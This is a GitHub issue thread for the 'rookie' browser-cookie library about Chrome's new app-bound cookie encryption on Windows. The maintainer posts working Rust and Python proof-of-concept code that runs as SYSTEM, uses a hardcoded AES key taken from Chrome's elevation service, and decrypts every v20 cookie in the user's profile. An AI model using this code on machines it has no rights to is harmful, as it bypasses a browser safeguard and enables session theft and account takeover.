thewh1teagle / rookie

Load cookies from your web browsers
https://crates.io/crates/rookie
MIT License
204 stars 18 forks source link

[Bug]: inability to decrypt newer cookies #50

Closed gamer191 closed 4 weeks ago

gamer191 commented 2 months ago

What happened?

Likely due to https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html, this program no longer decrypts newer chrome cookies. However, instead of displaying an error, it simply includes lots cookie names without values in the output

Steps to reproduce

  1. update to the latest version of chrome
  2. create some cookies by visiting random sites (old cookies aren't encrypted with the new method, I guess)
  3. run cli -b chrome

What browsers are you seeing the problem on?

Chrome

Relevant log output

NOTE: I have removed most cookies from the log, for privacy reasons
[2024-09-13T07:31:36Z DEBUG rookie::common::paths] Found chrome path C:\Users\username\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies, C:\Users\username\AppData\Local\Google\Chrome\User Data\Default\Network\../../Local State
[2024-09-13T07:31:36Z WARN  rookie::browser::chromium] Unlocking Chrome database... This may take a while (sometimes up to a minute)
[2024-09-13T07:31:36Z INFO  rookie::browser::chromium] Creating SQLite connection to C:\Users\username\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
[
  {
    "domain": ".dotmetrics.net",
    "path": "/",
    "secure": true,
    "expires": 1757748787,
    "name": "DotMetrics.DeviceKey",
    "value": "",
    "http_only": false,
    "same_site": 0
  },
  {
    "domain": ".dotmetrics.net",
    "path": "/",
    "secure": true,
    "expires": 1757748787,
    "name": "DotMetrics.UniqueUserIdentityCookie",
    "value": "",
    "http_only": false,
    "same_site": 0
  },
  {
    "domain": ".abc.net.au",
    "path": "/",
    "secure": true,
    "expires": 1726212847,
    "name": "_chartbeat4",
    "value": "",
    "http_only": false,
    "same_site": -1
  },
  {
    "domain": "iview.abc.net.au",
    "path": "/",
    "secure": false,
    "expires": 1726213686,
    "name": "_dd_s",
    "value": "",
    "http_only": false,
    "same_site": 2
  }
]
thewh1teagle commented 2 months ago

Hey! Thanks for report I'm happy that Chrome finally tries to improve it on Windows since it's so easy to access this secrets... However we still can extract it by process injection or high privileges. A new pr is welcome if anyone interested!

The source code is here chrome/browser/os_crypt

thewh1teagle commented 1 month ago

I'll see if we can add https://github.com/yt-dlp/yt-dlp/issues/10927#issuecomment-2412854548 to rookie.

Also related: https://github.com/moonD4rk/HackBrowserData/issues/431

thewh1teagle commented 1 month ago

POC of system decryption (still need to decrypt as the current user and think how to run it from the library

service.rs ```rust use std::{ffi::c_void, ptr}; use eyre::{anyhow, bail, Result}; use windows::Win32::{Foundation, Security::Cryptography}; fn decrypt(encrypted_base64: &str) -> String { println!("encrypted base 64 {}", encrypted_base64); let mut decoded = base64::decode(encrypted_base64.trim()).unwrap(); println!("decoded length: {}", decoded.len()); let decrypted = dpapi_decrypt(&mut decoded).unwrap(); base64::encode(decrypted) } fn dpapi_decrypt(keydpapi: &mut [u8]) -> Result> { // https://learn.microsoft.com/en-us/windows/win32/api/dpapi/nf-dpapi-cryptunprotectdata // https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-localfree // https://docs.rs/winapi/latest/winapi/um/dpapi/index.html // https://docs.rs/winapi/latest/winapi/um/winbase/fn.LocalFree.html let data_in = Cryptography::CRYPT_INTEGER_BLOB { cbData: keydpapi.len() as u32, pbData: keydpapi.as_mut_ptr(), }; let mut data_out = Cryptography::CRYPT_INTEGER_BLOB { cbData: 0, pbData: ptr::null_mut(), }; unsafe { let _ = match Cryptography::CryptUnprotectData( &data_in, Some(ptr::null_mut()), Some(ptr::null_mut()), Some(ptr::null_mut()), Some(ptr::null_mut()), 0, &mut data_out, ) { Ok(_) => Ok(()), Err(_) => Err(anyhow!("CryptUnprotectData failed")), }; } if data_out.pbData.is_null() { bail!("CryptUnprotectData returned a null pointer"); } let decrypted_data = unsafe { std::slice::from_raw_parts(data_out.pbData, data_out.cbData as usize).to_vec() }; let pbdata_hlocal = Foundation::HLOCAL(data_out.pbData as *mut c_void); unsafe { let _ = match Foundation::LocalFree(pbdata_hlocal) { Ok(_) => Ok(()), Err(_) => Err(anyhow!("LocalFree failed")), }; }; Ok(decrypted_data) } fn main() -> std::io::Result<()> { use interprocess::local_socket::{prelude::*, GenericNamespaced, ListenerOptions, Stream}; use std::io::{self, prelude::*, BufReader}; // Define a function that checks for errors in incoming connections. We'll use this to filter // through connections that fail on initialization for one reason or another. fn handle_error(conn: io::Result) -> Option { match conn { Ok(c) => Some(c), Err(e) => { eprintln!("Incoming connection failed: {e}"); None } } } // Pick a name. let printname = "unprotect.sock"; let name = printname.to_ns_name::()?; // Configure our listener... let opts = ListenerOptions::new().name(name); // ...then create it. let listener = match opts.create_sync() { Err(e) if e.kind() == io::ErrorKind::AddrInUse => { // When a program that uses a file-type socket name terminates its socket server // without deleting the file, a "corpse socket" remains, which can neither be // connected to nor reused by a new listener. Normally, Interprocess takes care of // this on affected platforms by deleting the socket file when the listener is // dropped. (This is vulnerable to all sorts of races and thus can be disabled.) // // There are multiple ways this error can be handled, if it occurs, but when the // listener only comes from Interprocess, it can be assumed that its previous instance // either has crashed or simply hasn't exited yet. In this example, we leave cleanup // up to the user, but in a real application, you usually don't want to do that. eprintln!( "Error: could not start server because the socket file is occupied. Please check if {printname} is in use by another process and try again." ); return Err(e); } x => x?, }; // The syncronization between the server and client, if any is used, goes here. eprintln!("Server running at {printname}"); // Preemptively allocate a sizeable buffer for receiving at a later moment. This size should // be enough and should be easy to find for the allocator. Since we only have one concurrent // client, there's no need to reallocate the buffer repeatedly. let mut buffer = String::with_capacity(4096); for conn in listener.incoming().filter_map(handle_error) { // Wrap the connection into a buffered receiver right away // so that we could receive a single line from it. let mut conn = BufReader::new(conn); println!("Incoming connection!"); // Since our client example sends first, the server should receive a line and only then // send a response. Otherwise, because receiving from and sending to a connection cannot // be simultaneous without threads or async, we can deadlock the two processes by having // both sides wait for the send buffer to be emptied by the other. conn.read_line(&mut buffer)?; // Now that the receive has come through and the client is waiting on the server's send, do // it. (`.get_mut()` is to get the sender, `BufReader` doesn't implement a pass-through // `Write`.) let decrypted = decrypt(&buffer); println!("write all..."); conn.get_mut().write_all(decrypted.as_bytes())?; // Print out the result, getting the newline for free! print!("Client answered: {buffer}"); // Clear the buffer so that the next iteration will display new data instead of messages // stacking on top of one another. buffer.clear(); } Ok(()) } ```
main.rs ```rust fn main() -> windows_service::Result<()> { use std::ffi::OsString; use windows_service::{ service::{ServiceAccess, ServiceErrorControl, ServiceInfo, ServiceStartType, ServiceType}, service_manager::{ServiceManager, ServiceManagerAccess}, }; let manager_access = ServiceManagerAccess::ALL_ACCESS; let service_manager = ServiceManager::local_computer(None::<&str>, manager_access)?; // This example installs the service defined in `examples/ping_service.rs`. // In the real world code you would set the executable path to point to your own binary // that implements windows service. let service_binary_path = ::std::env::current_exe() .unwrap() .with_file_name("service.exe"); let name = "unprotect_service"; let service_info = ServiceInfo { name: OsString::from(name), display_name: OsString::from("Unprotect service"), service_type: ServiceType::OWN_PROCESS, start_type: ServiceStartType::OnDemand, error_control: ServiceErrorControl::Normal, executable_path: service_binary_path, launch_arguments: vec![], dependencies: vec![], account_name: None, // run as System account_password: None, }; let perm = ServiceAccess::CHANGE_CONFIG | ServiceAccess::START | ServiceAccess::DELETE; let service = match service_manager.open_service(&name, perm) { Ok(s) => s, Err(_) => service_manager.create_service(&service_info, perm).unwrap(), }; service.set_description("Unprotected base64 of v20 chrome cookies")?; println!("starting..."); let encrypted = "your base 64 key"; service.start::(&[]).unwrap(); println!("going to decrypt..."); let decrypted = decrypt_with_service(&encrypted).unwrap(); println!("decrypted: {}", decrypted); service.stop().unwrap(); service.delete().unwrap(); Ok(()) } fn decrypt_with_service(encrypted_base64: &str) -> std::io::Result { use interprocess::local_socket::{prelude::*, GenericFilePath, GenericNamespaced, Stream}; use std::io::{prelude::*, BufReader}; // Pick a name. let name = if GenericNamespaced::is_supported() { "unprotect.sock".to_ns_name::()? } else { "/tmp/unprotect.sock".to_fs_name::()? }; // Preemptively allocate a sizeable buffer for receiving. This size should be enough and // should be easy to find for the allocator. let mut buffer = String::with_capacity(4096); // Create our connection. This will block until the server accepts our connection, but will // fail immediately if the server hasn't even started yet; somewhat similar to how happens // with TCP, where connecting to a port that's not bound to any server will send a "connection // refused" response, but that will take twice the ping, the roundtrip time, to reach the // client. let conn = Stream::connect(name)?; // Wrap it into a buffered reader right away so that we could receive a single line out of it. let mut conn = BufReader::new(conn); // Send our message into the stream. This will finish either when the whole message has been // sent or if a send operation returns an error. (`.get_mut()` is to get the sender, // `BufReader` doesn't implement pass-through `Write`.) println!("write all..."); let line_with_newline = format!("{}\n", encrypted_base64); conn.get_mut().write_all(line_with_newline.as_bytes())?; // We now employ the buffer we allocated prior and receive a single line, interpreting a // newline character as an end-of-file (because local sockets cannot be portably shut down), // verifying validity of UTF-8 on the fly. conn.read_line(&mut buffer)?; Ok(buffer) } ```

POC in Python

main.py ```python """ Decrypt chrome v20 cookies with app bound protection Tested in 2024-10-23 with Chrome version 130.0.6723.70 on Windows 11 23H2 pip install pywin32 pycryptodome pypsexec python main.py """ import os import json import sys import binascii from pypsexec.client import Client from Crypto.Cipher import AES import sqlite3 import pathlib user_profile = os.environ['USERPROFILE'] local_state_path = rf"{user_profile}\AppData\Local\Google\Chrome\User Data\Local State" cookie_db_path = rf"{user_profile}\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" with open(local_state_path, "r") as f: local_state = json.load(f) app_bound_encrypted_key = local_state["os_crypt"]["app_bound_encrypted_key"] arguments = "-c \"" + """import win32crypt import binascii encrypted_key = win32crypt.CryptUnprotectData(binascii.a2b_base64('{}'), None, None, None, 0) print(binascii.b2a_base64(encrypted_key[1]).decode()) """.replace("\n", ";") + "\"" c = Client("localhost") c.connect() try: c.create_service() assert(binascii.a2b_base64(app_bound_encrypted_key)[:4] == b"APPB") app_bound_encrypted_key_b64 = binascii.b2a_base64( binascii.a2b_base64(app_bound_encrypted_key)[4:]).decode().strip() # decrypt with SYSTEM DPAPI encrypted_key_b64, stderr, rc = c.run_executable( sys.executable, arguments=arguments.format(app_bound_encrypted_key_b64), use_system_account=True ) # decrypt with user DPAPI decrypted_key_b64, stderr, rc = c.run_executable( sys.executable, arguments=arguments.format(encrypted_key_b64.decode().strip()), use_system_account=False ) decrypted_key = binascii.a2b_base64(decrypted_key_b64)[-61:] assert(decrypted_key[0] == 1) finally: c.remove_service() c.disconnect() # decrypt key with AES256GCM # aes key from elevation_service.exe aes_key = binascii.a2b_base64("sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=") # [flag|iv|ciphertext|tag] decrypted_key # [1byte|12bytes|variable|16bytes] iv = decrypted_key[1:1+12] ciphertext = decrypted_key[1+12:1+12+32] tag = decrypted_key[1+12+32:] cipher = AES.new(aes_key, AES.MODE_GCM, nonce=iv) key = cipher.decrypt_and_verify(ciphertext, tag) print(binascii.b2a_base64(key)) # fetch all v20 cookies con = sqlite3.connect(pathlib.Path(cookie_db_path).as_uri() + "?mode=ro", uri=True) cur = con.cursor() r = cur.execute("SELECT host_key, name, CAST(encrypted_value AS BLOB) from cookies;") cookies = cur.fetchall() cookies_v20 = [c for c in cookies if c[2][:3] == b"v20"] con.close() # decrypt v20 cookie with AES256GCM # [flag|iv|ciphertext|tag] encrypted_value # [3bytes|12bytes|variable|16bytes] def decrypt_cookie_v20(encrypted_value): cookie_iv = encrypted_value[3:3+12] encrypted_cookie = encrypted_value[3+12:-16] cookie_tag = encrypted_value[-16:] cookie_cipher = AES.new(key, AES.MODE_GCM, nonce=cookie_iv) decrypted_cookie = cookie_cipher.decrypt_and_verify(encrypted_cookie, cookie_tag) return decrypted_cookie[32:].decode('utf-8') for c in cookies_v20: print(f"") print(c[0], c[1], decrypt_cookie_v20(c[2])) ```
thewh1teagle commented 4 weeks ago

Added support for chrome v130.x in latest rookie version